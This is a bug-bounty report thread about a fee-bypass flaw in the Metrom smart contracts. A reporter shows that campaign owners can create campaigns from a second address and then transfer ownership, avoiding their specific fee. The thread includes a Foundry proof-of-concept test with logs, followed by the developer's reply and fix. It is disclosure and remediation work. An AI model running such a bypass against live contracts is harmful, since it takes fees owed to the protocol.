Campaign owners can bypass protocol fees causing loss to the protocol

[hats-bug-reporter[bot]]

Github username: -- Twitter username: MrPotatoMagic Submission hash (on-chain): 0xfcf2a6255e63dea3a403ddb365b3533f0d48147b47361df787c714dadc160d33 Severity: high

Description: Description\ We know that when a campaign is created, the code here applies protocol fees if the resolved fee here for the msg.sender (i.e. campaign owner) is set to some non-zero value. We can see the interface mentioning this for the SpecificFee struct as well here

Attack Scenario:

The issue in the current code is that the campaign owner (who is expected to be charged) can use another address to create the campaign. This is possible by calling the createCampaigns() function by using the other address since it would simply set the campaign owner to the msg.sender here.

The owner can then just use the other address (which is the current campaign owner) to transfer the ownership to the original owner (who was expected to be charged).

Since the transferCampaignOwnership() and acceptCampaignOwnership() functions here do not check if the new owner has campaign specific fees applied, it just simply allows transferring the ownership of the campaign.

This overall means that campaign owners can avoid paying fees to the protocol, thus causing loss to them.

Link to code

See here - https://github.com/hats-finance/Metrom-0xfdfc6d4ac5807d7460da20a3a1c0c84ef2b9c5a2/blob/e9d6b1e594d5bb3694bfe68f73399156ebb5d3a4/src/Metrom.sol#L324C1-L339C6

See here - https://github.com/hats-finance/Metrom-0xfdfc6d4ac5807d7460da20a3a1c0c84ef2b9c5a2/blob/e9d6b1e594d5bb3694bfe68f73399156ebb5d3a4/src/Metrom.sol#L160

Mitigation: If the new owner's fees are greater than the current owner's fees, consider charging the difference between the new owner's fees and current owner's fees to ensure the protocol receives the right amount.

If the new owner's fees are less than the current owner's fees, consider not charging since the current owner has already paid for the campaign fees. This prevents overcharging of fees.

In both cases, take the fees only once the new owner calls acceptOwnership().

[luzzif]

I'm sorry but I'm not sure I fully get this one. The fees are taken at creation-time, independent of the address that actually creates the campaign. After a campaign is created, fees are charged already so you can basically do what you want with the campaign itself as far as ownership goes.

Could I maybe get a PoC of how this would be exploited?

[mcgrathcoutinho]

Hi @luzzif, here is the POC:

How to use the POC:

• Add the POC to test/Base.t.sol in the current test suite.
• Run the test using forge test --match-test testCreateFixedCampaign -vvv
• The test testCreateFixedCampaign modifies the code of the existing createFixedCampaign function.
• The modifications made are: 1) Introducing alice and aliceMaliciousAddress addresses as actors. 2) At the end of the setUp() function, the owner sets up specific fees for alice i.e. 5% which is greater than the globalFee of 1%. The remaining changes in the main test function should be self-explanatory.
• I've added comments in the test function to better help understand the issue.
• To summarize, alice uses her aliceMaliciousAddress to create the campaign. This pays the team only the globalFee of 1% since the specific fee of 5% is attached to the original alice address. Once the campaign is created, alice transfers the ownership of the campaign from aliceMaliciousAddress to her original alice address.
• The logs have been attached at the bottom of the POC to show the expected fees VS the actual fees received by the protocol.

pragma solidity 0.8.25;

import {Test, console} from "forge-std/Test.sol";
import {ERC1967Proxy} from "oz/proxy/ERC1967/ERC1967Proxy.sol";

import {MintableERC20} from "./dependencies/MintableERC20.sol";
import {MetromHarness} from "./harnesses/MetromHarness.sol";
import {MAX_FEE} from "../src/Metrom.sol";
import {IMetrom, CreateBundle} from "../src/IMetrom.sol";

/// SPDX-License-Identifier: GPL-3.0-or-later
contract BaseTest is Test {
    address internal owner;
    address internal updater;
    uint32 internal globalFee;
    uint32 internal minimumCampaignDuration;
    uint32 internal maximumCampaignDuration;
    MetromHarness internal metrom;

    // Actors
    address public alice = makeAddr("alice");
    address public aliceMaliciousAddress = makeAddr("aliceMaliciousAddress");

    function setUp() external {
        owner = address(1);
        updater = address(2);
        globalFee = 10_000;
        minimumCampaignDuration = 1 seconds;
        maximumCampaignDuration = 10 minutes;
        metrom = MetromHarness(
            address(
                new ERC1967Proxy(
                    address(new MetromHarness()),
                    abi.encodeWithSelector(
                        IMetrom.initialize.selector,
                        owner,
                        updater,
                        globalFee,
                        minimumCampaignDuration,
                        maximumCampaignDuration
                    )
                )
            )
        );
        // Set specific fees for alice
        vm.prank(address(1));
        metrom.setSpecificFee(alice, 50000); // 5% specific fees for alice for XYZ reasons
    }

    function createFixedCampaign() public returns (bytes32) {
        MintableERC20 _mintableErc20 = new MintableERC20("Test", "TST");
        _mintableErc20.mint(address(this), 10 ether);
        _mintableErc20.approve(address(metrom), 10 ether);
        vm.assertEq(_mintableErc20.balanceOf(address(this)), 10 ether);

        address[] memory _rewardTokens = new address[](1);
        _rewardTokens[0] = address(_mintableErc20);

        uint256[] memory _rewardAmounts = new uint256[](1);
        _rewardAmounts[0] = 10 ether;

        CreateBundle memory _createBundle = CreateBundle({
            chainId: 1,
            pool: address(1),
            from: uint32(block.timestamp + 10),
            to: uint32(block.timestamp + 20),
            specification: bytes32(0),
            rewardTokens: _rewardTokens,
            rewardAmounts: _rewardAmounts
        });

        CreateBundle[] memory _createBundles = new CreateBundle[](1);
        _createBundles[0] = _createBundle;

        metrom.createCampaigns(_createBundles);

        return metrom.campaignId(_createBundle);
    }

    function testCreateFixedCampaign() public returns (bytes32) {
        MintableERC20 _mintableErc20 = new MintableERC20("Test", "TST");
        _mintableErc20.mint(aliceMaliciousAddress, 10 ether);
        vm.prank(aliceMaliciousAddress);
        _mintableErc20.approve(address(metrom), 10 ether);
        vm.assertEq(_mintableErc20.balanceOf(aliceMaliciousAddress), 10 ether);

        address[] memory _rewardTokens = new address[](1);
        _rewardTokens[0] = address(_mintableErc20);

        uint256[] memory _rewardAmounts = new uint256[](1);
        _rewardAmounts[0] = 10 ether;

        CreateBundle memory _createBundle = CreateBundle({
            chainId: 1,
            pool: address(1),
            from: uint32(block.timestamp + 10),
            to: uint32(block.timestamp + 20),
            specification: bytes32(0),
            rewardTokens: _rewardTokens,
            rewardAmounts: _rewardAmounts
        });

        CreateBundle[] memory _createBundles = new CreateBundle[](1);
        _createBundles[0] = _createBundle;

        vm.prank(aliceMaliciousAddress); // Instead of alice's original address, she uses her malicious address to create the campaign.
        metrom.createCampaigns(_createBundles);

        // Now that the campaign is created, alice was expected to be charged 5% but since she uses her malicious other address to create the campaign, she only pays 1% default global fee.
        uint256 expectedFeesToProtocol = _rewardAmounts[0] * metrom.specificFeeFor(alice).fee / 1000000;
        uint256 actualFeesToProtocol = metrom.claimableFees(address(_mintableErc20));
        assertLt(actualFeesToProtocol, expectedFeesToProtocol);
        console.log("Expected Fees:", expectedFeesToProtocol);
        console.log("Actual Fees:", actualFeesToProtocol);

        // Alice can then transfer the ownership of the campaign to herself i.e. her original address that was expected to be charged for creating the campaign. 

        return metrom.campaignId(_createBundle);
    }
}

Logs:

Ran 1 test for test/Base.t.sol:BaseTest
[PASS] testCreateFixedCampaign() (gas: 1165440)
Logs:
  Expected Fees: 500000000000000000
  Actual Fees: 100000000000000000

[luzzif]

Oh okok I get it now. The intended role for the specific fee is actually to lower the global fee in certain cases, such as for some clients that bring a consistently high volume of campaigns. In that case the specificFee for them could be reduced. In that sense the specific fee should always be lower than the global fee. It's not really enforceable at the smart contract level due to the mapping nature of the specificFee field.

[mcgrathcoutinho]

Hi @luzzif, thanks for the response.

It's not really enforceable at the smart contract level due to the mapping nature of the specificFee field - In that case, I believe we should also not pan out the possibility of specific fee being greater than globalFee (in case there's some purpose for it in the future).

Another scenario how fees could be bypassed is in case specificFee was set to 0 for address aliceMaliciousAddress or some address bob for a previous campaign, in which case alice could use her address aliceMaliciousAddress or convince bob to create the campaign instead of the expected address alice for the new campaign being created.

Considering that in the first case, the check is not enforced on the contract level and in the second case just discussed, there is a clear path/scenario to fees being possibly bypassed, I believe this should be a valid issue on the repo for auditing.

[luzzif]

This should have been addressed in https://github.com/metrom-xyz/contracts/commit/4fe4414620e2c2f6419076e83d2322e0d04e46c3. I've introduced a fee rebate mechanism that can only discount the current "global" fee in percentage terms. This should avoid all the scenarios you described.